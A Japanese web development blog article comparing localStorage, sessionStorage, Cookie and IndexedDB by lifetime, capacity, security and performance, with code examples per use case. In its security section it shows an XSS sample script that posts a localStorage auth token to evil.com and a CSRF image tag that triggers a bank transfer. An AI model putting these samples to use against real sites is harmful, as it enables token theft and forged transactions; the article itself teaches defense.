🗄️

ブラウザストレージ比較:localStorage、Cookie、IndexedDBの選び方

に公開1

はじめに:ブラウザストレージの選択に迷っていませんか?

「ユーザー設定を保存したいけど、localStorageでいいのかな?」
「認証トークンはCookieに入れるべき?それともlocalStorage?」
「大きなデータを保存したいけど、どれが適切?」

ブラウザでデータを保存する方法は複数あり、それぞれに特徴があります。しかし、「結局どれを使えばいいの?」という疑問を持つ方は多いのではないでしょうか。

本記事では、単なる機能比較にとどまらず、実際のユースケース別に最適な選択肢を提示します。初心者の方にも分かりやすいように、セキュリティの概念も含めて丁寧に解説していきます。

ブラウザストレージの全体像

まず、主要な4つのストレージ技術を整理しましょう。

それぞれの技術は異なる目的で設計されています。以下の4つの軸で比較すると、特徴が明確になります。

4つの比較軸で理解する

1. データのライフサイクル(いつまで保存される?)

ストレージ 保存期間 消える条件
💾 localStorage 半永続的 ユーザーが手動で削除するまで(またはコードで削除)
⏱️ sessionStorage ページセッション中 ブラウザのタブ/ウィンドウを閉じると消える
🍪 Cookie 設定により可変 有効期限を設定可能(Max-Age、Expires属性)
🗄️ IndexedDB 半永続的 ユーザーが手動で削除するまで

2. 容量制限(どのくらい保存できる?)

ストレージ 容量上限(目安) 用途
🍪 Cookie 約4KB(ドメインあたり) 小さな識別子、トークン
💾 localStorage 5〜10MB程度 設定情報、軽量なデータ
⏱️ sessionStorage 5〜10MB程度 一時的な軽量データ
🗄️ IndexedDB 利用可能なディスク容量に依存(通常数百MB以上) 大容量データ、オフライン対応

3. セキュリティ(どう守られる?)

セキュリティは特に重要な観点です。それぞれの特徴を見ていきましょう。

Cookieのセキュリティフラグ

Cookieには、セキュリティを強化するための3つの重要なフラグがあります。

// ⚠️ これはサーバーサイド(Node.js/Express)での設定例
// JavaScriptからはHttpOnlyフラグは設定できません
res.cookie('authToken', 'abc123', {
  httpOnly: true,    // JavaScriptからアクセス不可
  secure: true,      // HTTPS通信のみ
  sameSite: 'strict', // CSRF対策
  maxAge: 3600000    // 1時間(ミリ秒)
});
フラグ 説明 効果
HttpOnly JavaScriptからのアクセスを禁止 XSS攻撃(後述)によるCookie盗難を防ぐ
Secure HTTPS通信のみで送信 中間者攻撃(盗聴)を防ぐ
SameSite クロスサイトリクエストでの送信を制限 CSRF攻撃(後述)を防ぐ

XSS(Cross-Site Scripting)攻撃とは?

XSS攻撃は、悪意のあるJavaScriptコードをWebページに注入し、ユーザーのブラウザで実行させる攻撃です。

<!-- XSS攻撃の例(危険なコード) -->
<!-- 攻撃者が入力フォームに以下を注入 -->
<script>
  // localStorageからトークンを盗む
  fetch('https://evil.com/steal', {
    method: 'POST',
    body: localStorage.getItem('authToken')
  });
</script>

各ストレージのXSS脆弱性

ストレージ JavaScriptからアクセス XSS攻撃のリスク
💾 localStorage ✅ 可能 🔴 高い(盗まれる可能性)
⏱️ sessionStorage ✅ 可能 🔴 高い(盗まれる可能性)
🍪 Cookie (HttpOnlyなし) ✅ 可能 🔴 高い(盗まれる可能性)
🍪 Cookie (HttpOnly) ❌ 不可能 🟢 低い(保護される)
🗄️ IndexedDB ✅ 可能 🔴 高い(盗まれる可能性)

CSRF(Cross-Site Request Forgery)攻撃とは?

CSRF攻撃は、ユーザーが意図しないリクエストを別のサイトから送信させる攻撃です。

<!-- 攻撃者のサイトに設置された悪意のあるコード -->
<img src="https://bank.com/transfer?to=attacker&amount=10000" />
<!-- ユーザーがこのページを開くだけで、勝手に送金リクエストが送られる -->

SameSite属性による防御

// SameSite属性の設定例
document.cookie = "sessionId=xyz; SameSite=Strict"; // 最も厳格
document.cookie = "sessionId=xyz; SameSite=Lax";    // 中程度
document.cookie = "sessionId=xyz; SameSite=None; Secure"; // 制限なし(Secure必須)
SameSite値 挙動 用途
Strict 他サイトからのリクエストでは一切送信しない 最も安全(認証Cookieに推奨)
Lax トップレベルのナビゲーション(GETリクエスト)のみ送信 一般的な用途(デフォルト値)
None すべてのリクエストで送信(Secure属性が必須) クロスサイトで必要な場合のみ

4. パフォーマンス(速度と効率)

ストレージ アクセス速度 サーバー通信 特徴
💾 localStorage 同期(ブロッキング) なし 小さなデータなら高速
⏱️ sessionStorage 同期(ブロッキング) なし localStorageと同等
🍪 Cookie 同期(ブロッキング) あり(自動送信) HTTPリクエストごとに送信されるため、サイズが大きいと遅い
🗄️ IndexedDB 非同期(ノンブロッキング) なし 大容量データでもUIをブロックしない

実際のユースケース別:最適なストレージの選び方

ここからは、具体的なシーンごとに最適なストレージを紹介します。

ユースケース1:認証トークンの保存

最適解:HttpOnly + Secure + SameSite付きのCookie

// サーバーサイド(Node.js/Express)でのCookie設定例
res.cookie('authToken', token, {
  httpOnly: true,    // JavaScriptからアクセス不可
  secure: true,      // HTTPS通信のみ
  sameSite: 'strict', // CSRF対策
  maxAge: 3600000    // 1時間後に自動削除
});

理由

  • XSS攻撃でトークンを盗まれるリスクを最小化
  • 自動的に有効期限を設定できる
  • サーバーへのリクエストで自動送信される

ユースケース2:ユーザー設定(テーマ、言語など)

最適解:localStorage

// ダークモードの設定を保存
const saveTheme = (theme) => {
  localStorage.setItem('theme', theme);
};

// ページ読み込み時に設定を復元
const loadTheme = () => {
  const theme = localStorage.getItem('theme') || 'light';
  document.body.className = theme;
};

// 使用例
saveTheme('dark');

理由

  • ブラウザを閉じても設定が残る
  • サーバーに送信する必要がない(通信量の削減)
  • 実装がシンプル

ユースケース3:一時的なフォーム入力の保存

最適解:sessionStorage

// フォーム入力を一時保存
const saveFormData = () => {
  const formData = {
    name: document.getElementById('name').value,
    email: document.getElementById('email').value,
  };
  sessionStorage.setItem('formData', JSON.stringify(formData));
};

// ページ再読み込み時に復元
const restoreFormData = () => {
  const data = sessionStorage.getItem('formData');
  if (data) {
    const formData = JSON.parse(data);
    document.getElementById('name').value = formData.name;
    document.getElementById('email').value = formData.email;
  }
};

// 入力中に自動保存
document.getElementById('name').addEventListener('input', saveFormData);
document.getElementById('email').addEventListener('input', saveFormData);

理由

  • タブを閉じたら自動的に消える(個人情報の保護)
  • ページリロードでは保持される
  • 他のタブに影響しない

ユースケース4:大容量データの保存(オフライン対応アプリ)

最適解:IndexedDB

// IndexedDBの使用例(簡略化)
const openDB = () => {
  return new Promise((resolve, reject) => {
    const request = indexedDB.open('MyDatabase', 1);

    request.onsuccess = () => resolve(request.result);
    request.onerror = () => reject(request.error);

    request.onupgradeneeded = (event) => {
      const db = event.target.result;
      // オブジェクトストア(テーブルのようなもの)を作成
      if (!db.objectStoreNames.contains('articles')) {
        db.createObjectStore('articles', { keyPath: 'id', autoIncrement: true });
      }
    };
  });
};

// データの保存
const saveArticle = async (article) => {
  const db = await openDB();
  const transaction = db.transaction(['articles'], 'readwrite');
  const store = transaction.objectStore('articles');
  return new Promise((resolve, reject) => {
    const request = store.add(article);
    request.onsuccess = () => resolve(request.result);
    request.onerror = () => reject(request.error);
  });
};

// データの取得
const getArticles = async () => {
  const db = await openDB();
  const transaction = db.transaction(['articles'], 'readonly');
  const store = transaction.objectStore('articles');
  return new Promise((resolve, reject) => {
    const request = store.getAll();
    request.onsuccess = () => resolve(request.result);
    request.onerror = () => reject(request.error);
  });
};

// 使用例
await saveArticle({ title: '記事タイトル', content: '本文...' });
const articles = await getArticles();
console.log(articles);

理由

  • 大容量データを保存可能(ブラウザとディスク容量に依存)
  • 非同期処理でUIをブロックしない
  • 複雑なデータ構造を直接保存できる
  • オフラインでも動作するアプリに最適

ユースケース5:トラッキング・アナリティクス

最適解:Cookie(サードパーティCookie)

// アナリティクスのトラッキングID(概念的な例)
document.cookie = "trackingId=user123; Max-Age=31536000; SameSite=None; Secure";

理由

  • 複数のドメイン間でユーザーを識別できる
  • 有効期限を長期間に設定できる
  • 広告やアナリティクスサービスで標準的に使用される

比較表:一目で分かる選択ガイド

用途 推奨ストレージ 理由
認証トークン Cookie(HttpOnly + Secure + SameSite) セキュリティが最も高い
ユーザー設定(テーマ、言語) localStorage 永続的、サーバー通信不要
一時的なフォーム入力 sessionStorage タブを閉じたら自動削除
ショッピングカート(小規模) localStorage 永続的、サーバー通信不要
ショッピングカート(複雑) Cookie + サーバーDB セキュリティとデータ整合性
オフライン対応アプリ IndexedDB 大容量、非同期
キャッシュ(画像、動画) Cache API + IndexedDB 専用APIで効率的
アナリティクス Cookie(First-party) クロスページでの識別

よくある間違いと落とし穴

実務でよく見かける間違いを紹介します。これらを避けることで、より安全で効率的な実装ができます。

❌ 間違い1: 認証トークンをlocalStorageに保存

なぜダメ?
XSS攻撃で簡単に盗まれる危険性があります。

// ❌ 避けるべき実装
localStorage.setItem('authToken', 'abc123');

// ✅ 推奨される実装(サーバーサイド)
res.cookie('authToken', 'abc123', {
  httpOnly: true,
  secure: true,
  sameSite: 'strict'
});

❌ 間違い2: Cookieに大きなデータを保存

なぜダメ?
すべてのHTTPリクエストで送信され、通信が遅くなります。

// ❌ 避けるべき実装
document.cookie = "userData=" + JSON.stringify(largeObject); // 4KBを超える

// ✅ 推奨される実装
localStorage.setItem('userData', JSON.stringify(largeObject));
document.cookie = "userId=123"; // Cookieには識別子のみ

❌ 間違い3: sessionStorageを複数タブで共有しようとする

なぜダメ?
sessionStorageはタブごとに独立したストレージなので共有できません。

// ❌ 避けるべき実装(複数タブで共有したい場合)
sessionStorage.setItem('sharedData', 'value');

// ✅ 推奨される実装
localStorage.setItem('sharedData', 'value'); // 複数タブで共有される

特殊な環境での挙動

シークレットモード(プライベートモード)の挙動

ブラウザのシークレットモードでは、すべてのストレージがセッションストレージのように扱われます。

ストレージ シークレットモードでの挙動
💾 localStorage タブを閉じると削除される(sessionStorageと同じ)
⏱️ sessionStorage タブを閉じると削除される(通常と同じ)
🍪 Cookie タブを閉じると削除される(セッションCookie扱い)
🗄️ IndexedDB タブを閉じると削除される

よくある疑問に答える

Q1: localStorageとsessionStorageは、同じオリジン(ドメイン)でしか使えない?

A: その通りです。

Web StorageもCookieも、同一オリジンポリシーに従います。

// https://example.com で保存したデータ
localStorage.setItem('data', 'value');

// https://other.com からは読み取れない
// https://subdomain.example.com からも読み取れない(サブドメインが異なる)

Q2: Cookieのドメイン指定で、サブドメイン間で共有できる?

A: はい、Domain属性を使えば可能です。

// サブドメイン間で共有するCookie
document.cookie = "userId=123; Domain=example.com; Path=/";

まとめ:結局どれを使えばいい?

最後に、選択のフローチャートでまとめます。

判断基準のまとめ

  1. セキュリティが最優先(認証トークンなど)
    → Cookie(HttpOnly + Secure + SameSite)

  2. 大容量データ(オフライン対応、大量の画像など)
    → IndexedDB

  3. タブを閉じたら消したい(一時的なフォーム入力など)
    → sessionStorage

  4. 永続的に残したい(ユーザー設定など)
    → localStorage

  5. サーバーと連携したい(認証状態など)
    → Cookie

さいごに

ブラウザストレージの選択は、一見複雑に思えますが、それぞれの特性を理解すれば、適切な判断ができます。

特に、セキュリティに関しては「知らなかった」では済まされない問題につながることもあります。本記事で紹介した基本原則を押さえて、安全で快適なWebアプリケーションを作っていきましょう。

もし迷ったときは、以下を思い出してください。

  • 機密情報はCookieにHttpOnly付きで
  • 設定情報はlocalStorageで
  • 一時データはsessionStorageで
  • 大容量データはIndexedDBで

ぜひこの記事を、ブラウザストレージ選択の際の参考にしてみてください!

株式会社くりぼー